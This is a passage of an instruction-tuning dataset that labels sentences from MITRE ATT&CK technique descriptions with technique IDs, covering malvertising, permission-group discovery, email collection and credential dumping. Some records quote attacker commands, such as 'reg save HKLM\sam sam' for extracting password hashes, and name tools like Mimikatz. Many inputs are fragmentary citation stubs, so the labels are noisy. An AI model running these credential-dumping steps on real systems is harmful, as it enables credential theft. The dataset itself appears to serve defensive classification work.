contained in the text.", "input": "For example, adversaries may dynamically route ad clicks to send automated crawler/policy enforcer traffic to benign sites while validating potential targets then sending victims referred from real ad clicks to malicious pages.", "output": "T1583.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, adversaries may dynamically route ad clicks to send automated crawler/policy enforcer traffic to benign sites while validating potential targets then sending victims referred from real ad clicks to malicious pages. ### Response: T1583.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This infection vector may therefore remain hidden from the ad network as well as any visitor not reaching the malicious sites with a valid identifier from clicking on the advertisement.(Citation: Masquerads-Guardio) Other tricks, such as intentional typos to avoid brand reputation monitoring, may also be used to evade automated detection.(Citation: spamhaus-malvertising)", "output": "T1583.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This infection vector may therefore remain hidden from the ad network as well as any visitor not reaching the malicious sites with a valid identifier from clicking on the advertisement.(Citation: Masquerads-Guardio) Other tricks, such as intentional typos to avoid brand reputation monitoring, may also be used to evade automated detection.(Citation: spamhaus-malvertising) ### Response: T1583.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to find cloud groups and permission settings.", "output": "T1069.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to find cloud groups and permission settings. ### Response: T1069.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group.", "output": "T1069.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group. ### Response: T1069.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "With authenticated access there are several tools that can be used to find permissions groups.", "output": "T1069.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: With authenticated access there are several tools that can be used to find permissions groups. ### Response: T1069.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The <code>Get-MsolRole</code>", "output": "T1069.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The <code>Get-MsolRole</code> ### Response: T1069.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts (Citation: Microsoft Msolrole)(Citation:", "output": "T1069.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts (Citation: Microsoft Msolrole)(Citation: ### Response: T1069.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "GitHub Raindance).", "output": "T1069.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: GitHub Raindance). ### Response: T1069.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Azure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups.", "output": "T1069.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Azure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups. ### Response: T1069.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The command <code>az ad user get-member-groups</code> will list groups associated to a user account for Azure while the API endpoint <code>GET https://cloudidentity.googleapis.com/v1/groups</code> lists group resources available to a user for Google.(Citation:", "output": "T1069.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The command <code>az ad user get-member-groups</code> will list groups associated to a user account for Azure while the API endpoint <code>GET https://cloudidentity.googleapis.com/v1/groups</code> lists group resources available to a user for Google.(Citation: ### Response: T1069.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft AZ CLI)(Citation:", "output": "T1069.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft AZ CLI)(Citation: ### Response: T1069.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Black Hills Red Teaming MS AD Azure, 2018)(Citation: Google Cloud Identity API Documentation)", "output": "T1069.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Black Hills Red Teaming MS AD Azure, 2018)(Citation: Google Cloud Identity API Documentation) ### Response: T1069.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In AWS, the commands `ListRolePolicies` and `ListAttachedRolePolicies` allow users to enumerate the policies attached to a role.(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)", "output": "T1069.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In AWS, the commands `ListRolePolicies` and `ListAttachedRolePolicies` allow users to enumerate the policies attached to a role.(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022) ### Response: T1069.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to list ACLs for objects to determine the owner and other accounts with access to the object, for example, via the AWS <code>GetBucketAcl</code> API (Citation: AWS Get Bucket ACL).", "output": "T1069.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to list ACLs for objects to determine the owner and other accounts with access to the object, for example, via the AWS <code>GetBucketAcl</code> API (Citation: AWS Get Bucket ACL). ### Response: T1069.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Using this information an adversary can target accounts with permissions to a given object or leverage accounts they have already compromised to access the object.", "output": "T1069.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Using this information an adversary can target accounts with permissions to a given object or leverage accounts they have already compromised to access the object. ### Response: T1069.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to find domain-level groups and permission settings.", "output": "T1069.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to find domain-level groups and permission settings. ### Response: T1069.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group.", "output": "T1069.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group. ### Response: T1069.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use this information to determine which users have elevated permissions, such as domain administrators.\n\nCommands such as <code>net group /domain</code> of the [Net](https://attack.mitre.org/software/S0039) utility,  <code>dscacheutil -q", "output": "T1069.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use this information to determine which users have elevated permissions, such as domain administrators.\n\nCommands such as <code>net group /domain</code> of the [Net](https://attack.mitre.org/software/S0039) utility,  <code>dscacheutil -q ### Response: T1069.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "group</code> on macOS, and <code>ldapsearch</code> on Linux can list domain-level groups.", "output": "T1069.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: group</code> on macOS, and <code>ldapsearch</code> on Linux can list domain-level groups. ### Response: T1069.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to find local system groups and permission settings.", "output": "T1069.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to find local system groups and permission settings. ### Response: T1069.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group.", "output": "T1069.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group. ### Response: T1069.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.", "output": "T1069.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group. ### Response: T1069.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Commands such as <code>net localgroup</code> of the [Net](https://attack.mitre.org/software/S0039) utility, <code>dscl .", "output": "T1069.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Commands such as <code>net localgroup</code> of the [Net](https://attack.mitre.org/software/S0039) utility, <code>dscl . ### Response: T1069.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "-list /Groups</code>", "output": "T1069.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: -list /Groups</code> ### Response: T1069.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "on macOS, and <code>groups</code> on Linux can list local groups.", "output": "T1069.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: on macOS, and <code>groups</code> on Linux can list local groups. ### Response: T1069.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to discover group and permission settings.", "output": "T1069", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to discover group and permission settings. ### Response: T1069."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This information can help adversaries determine which user accounts and groups are available, the membership of users in particular groups, and which users and groups have elevated permissions.", "output": "T1069", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This information can help adversaries determine which user accounts and groups are available, the membership of users in particular groups, and which users and groups have elevated permissions. ### Response: T1069."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to discover group permission settings in many different ways.", "output": "T1069", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to discover group permission settings in many different ways. ### Response: T1069."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This data may provide the adversary with information about the compromised environment that can be used in follow-on activity and targeting.(Citation: CrowdStrike BloodHound April 2018)", "output": "T1069", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This data may provide the adversary with information about the compromised environment that can be used in follow-on activity and targeting.(Citation: CrowdStrike BloodHound April 2018) ### Response: T1069."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may target an Exchange server, Office 365, or Google Workspace to collect sensitive information.", "output": "T1114.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may target an Exchange server, Office 365, or Google Workspace to collect sensitive information. ### Response: T1114.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network.", "output": "T1114.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network. ### Response: T1114.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also access externally facing Exchange services, Office 365, or Google Workspace to access email using credentials or access tokens.", "output": "T1114.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also access externally facing Exchange services, Office 365, or Google Workspace to access email using credentials or access tokens. ### Response: T1114.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Tools such as [MailSniper](https://attack.mitre.org/software/S0413) can be used to automate searches for specific keywords.", "output": "T1114.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Tools such as [MailSniper](https://attack.mitre.org/software/S0413) can be used to automate searches for specific keywords. ### Response: T1114.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may setup email forwarding rules to collect sensitive information.", "output": "T1114.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may setup email forwarding rules to collect sensitive information. ### Response: T1114.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse email forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim\u2019s organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018)", "output": "T1114.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse email forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim\u2019s organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) ### Response: T1114.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Furthermore, email forwarding rules can allow adversaries to maintain persistent access to victim's emails even after compromised credentials are reset by administrators.(Citation: Pfammatter - Hidden Inbox Rules)", "output": "T1114.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Furthermore, email forwarding rules can allow adversaries to maintain persistent access to victim's emails even after compromised credentials are reset by administrators.(Citation: Pfammatter - Hidden Inbox Rules) ### Response: T1114.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Most email clients allow users to create inbox rules for various email functions, including forwarding to a different recipient.", "output": "T1114.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Most email clients allow users to create inbox rules for various email functions, including forwarding to a different recipient. ### Response: T1114.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These rules may be created through a local email application, a web interface, or by command-line interface.", "output": "T1114.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These rules may be created through a local email application, a web interface, or by command-line interface. ### Response: T1114.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule.", "output": "T1114.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. ### Response: T1114.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2)(Citation: Mac Forwarding Rules)\n\nAny user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more.", "output": "T1114.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2)(Citation: Mac Forwarding Rules)\n\nAny user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more. ### Response: T1114.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also hide the rule by making use of the Microsoft Messaging API (MAPI) to modify the rule properties, making it hidden and not visible from Outlook, OWA or most Exchange Administration tools.(Citation: Pfammatter - Hidden Inbox Rules)", "output": "T1114.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also hide the rule by making use of the Microsoft Messaging API (MAPI) to modify the rule properties, making it hidden and not visible from Outlook, OWA or most Exchange Administration tools.(Citation: Pfammatter - Hidden Inbox Rules) ### Response: T1114.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In some environments, administrators may be able to enable email forwarding rules that operate organization-wide rather than on individual inboxes.", "output": "T1114.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In some environments, administrators may be able to enable email forwarding rules that operate organization-wide rather than on individual inboxes. ### Response: T1114.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions.(Citation: Microsoft Mail Flow Rules 2023)", "output": "T1114.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions.(Citation: Microsoft Mail Flow Rules 2023) ### Response: T1114.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries that abuse such features may be able to enable forwarding on all or specific mail an organization receives.", "output": "T1114.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries that abuse such features may be able to enable forwarding on all or specific mail an organization receives. ### Response: T1114.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may target user email on local systems to collect sensitive information.", "output": "T1114.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may target user email on local systems to collect sensitive information. ### Response: T1114.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Files containing email data can be acquired from a user\u2019s local system, such as Outlook storage or cache files.", "output": "T1114.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Files containing email data can be acquired from a user\u2019s local system, such as Outlook storage or cache files. ### Response: T1114.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Outlook stores data locally in offline data files with an extension of .ost.", "output": "T1114.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Outlook stores data locally in offline data files with an extension of .ost. ### Response: T1114.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Outlook 2010 and later supports .ost file sizes up to 50GB, while earlier versions of Outlook support up to 20GB.(Citation: Outlook File Sizes)", "output": "T1114.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Outlook 2010 and later supports .ost file sizes up to 50GB, while earlier versions of Outlook support up to 20GB.(Citation: Outlook File Sizes) ### Response: T1114.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "IMAP accounts in Outlook 2013 (and earlier) and POP accounts use Outlook Data Files (.pst) as opposed to .ost, whereas IMAP accounts in Outlook 2016 (and later) use .ost files.", "output": "T1114.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: IMAP accounts in Outlook 2013 (and earlier) and POP accounts use Outlook Data Files (.pst) as opposed to .ost, whereas IMAP accounts in Outlook 2016 (and later) use .ost files. ### Response: T1114.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Both types of Outlook data files are typically stored in `C:\\Users\\<username>\\Documents\\Outlook Files` or `C:\\Users\\<username>\\AppData\\Local\\Microsoft\\Outlook`.(Citation: Microsoft Outlook Files)", "output": "T1114.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Both types of Outlook data files are typically stored in `C:\\Users\\<username>\\Documents\\Outlook Files` or `C:\\Users\\<username>\\AppData\\Local\\Microsoft\\Outlook`.(Citation: Microsoft Outlook Files) ### Response: T1114.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may target user email to collect sensitive information.", "output": "T1114", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may target user email to collect sensitive information. ### Response: T1114."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries.", "output": "T1114", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. ### Response: T1114."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can collect or forward email from mail servers or clients.", "output": "T1114", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can collect or forward email from mail servers or clients. ### Response: T1114."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software.", "output": "T1003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. ### Response: T1003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Credentials can then be used to perform [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and access restricted information.", "output": "T1003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Credentials can then be used to perform [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and access restricted information. ### Response: T1003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Several of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers.", "output": "T1003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Several of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers. ### Response: T1003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additional custom tools likely exist as well.", "output": "T1003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additional custom tools likely exist as well. ### Response: T1003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through in-memory techniques or through the Windows Registry where the SAM database is stored.", "output": "T1003.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through in-memory techniques or through the Windows Registry where the SAM database is stored. ### Response: T1003.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The SAM is a database file that contains local accounts for the host, typically those found with the <code>net user</code> command.", "output": "T1003.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The SAM is a database file that contains local accounts for the host, typically those found with the <code>net user</code> command. ### Response: T1003.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Enumerating the SAM database requires SYSTEM level access.", "output": "T1003.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Enumerating the SAM database requires SYSTEM level access. ### Response: T1003.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A number of tools can be used to retrieve the SAM file through in-memory techniques:\n\n* pwdumpx.exe\n* [gsecdump](https://attack.mitre.org/software/S0008)\n*", "output": "T1003.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A number of tools can be used to retrieve the SAM file through in-memory techniques:\n\n* pwdumpx.exe\n* [gsecdump](https://attack.mitre.org/software/S0008)\n* ### Response: T1003.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Mimikatz](https://attack.mitre.org/software/S0002)", "output": "T1003.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Mimikatz](https://attack.mitre.org/software/S0002) ### Response: T1003.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* secretsdump.py\n\nAlternatively, the SAM can be extracted from the Registry with Reg:\n\n* <code>reg save HKLM\\sam sam</code>\n* <code>reg save HKLM\\system system</code>\n\nCreddump7 can then be used to process the SAM database locally to retrieve hashes.(Citation:", "output": "T1003.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * secretsdump.py\n\nAlternatively, the SAM can be extracted from the Registry with Reg:\n\n* <code>reg save HKLM\\sam sam</code>\n* <code>reg save HKLM\\system system</code>\n\nCreddump7 can then be used to process the SAM database locally to retrieve hashes.(Citation: ### Response: T1003.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "GitHub Creddump7)\n\nNotes: \n\n*", "output": "T1003.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: GitHub Creddump7)\n\nNotes: \n\n* ### Response: T1003.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "RID 500 account is the local, built-in administrator.", "output": "T1003.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: RID 500 account is the local, built-in administrator. ### Response: T1003.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* RID 501 is the guest account.", "output": "T1003.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * RID 501 is the guest account. ### Response: T1003.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "*", "output": "T1003.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * ### Response: T1003.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "User accounts start with a RID of 1,000+.", "output": "T1003.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: User accounts start with a RID of 1,000+. ### Response: T1003.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search freely available technical databases for information about victims that can be used during targeting.", "output": "T1596", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search freely available technical databases for information about victims that can be used during targeting. ### Response: T1596."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about victims may be available in online databases and repositories, such as registrations of domains/certificates as well as public collections of network data/artifacts gathered from traffic and/or scans.(Citation: WHOIS)(Citation: DNS Dumpster)(Citation:", "output": "T1596", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about victims may be available in online databases and repositories, such as registrations of domains/certificates as well as public collections of network data/artifacts gathered from traffic and/or scans.(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: ### Response: T1596."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Circl Passive DNS)(Citation:", "output": "T1596", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Circl Passive DNS)(Citation: ### Response: T1596."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Medium SSL Cert)(Citation: SSLShopper Lookup)(Citation:", "output": "T1596", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Medium SSL Cert)(Citation: SSLShopper Lookup)(Citation: ### Response: T1596."}{"instruction": "List the MITRE techniques contained in the text.", "input": "DigitalShadows CDN)(Citation: Shodan)", "output": "T1596", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the 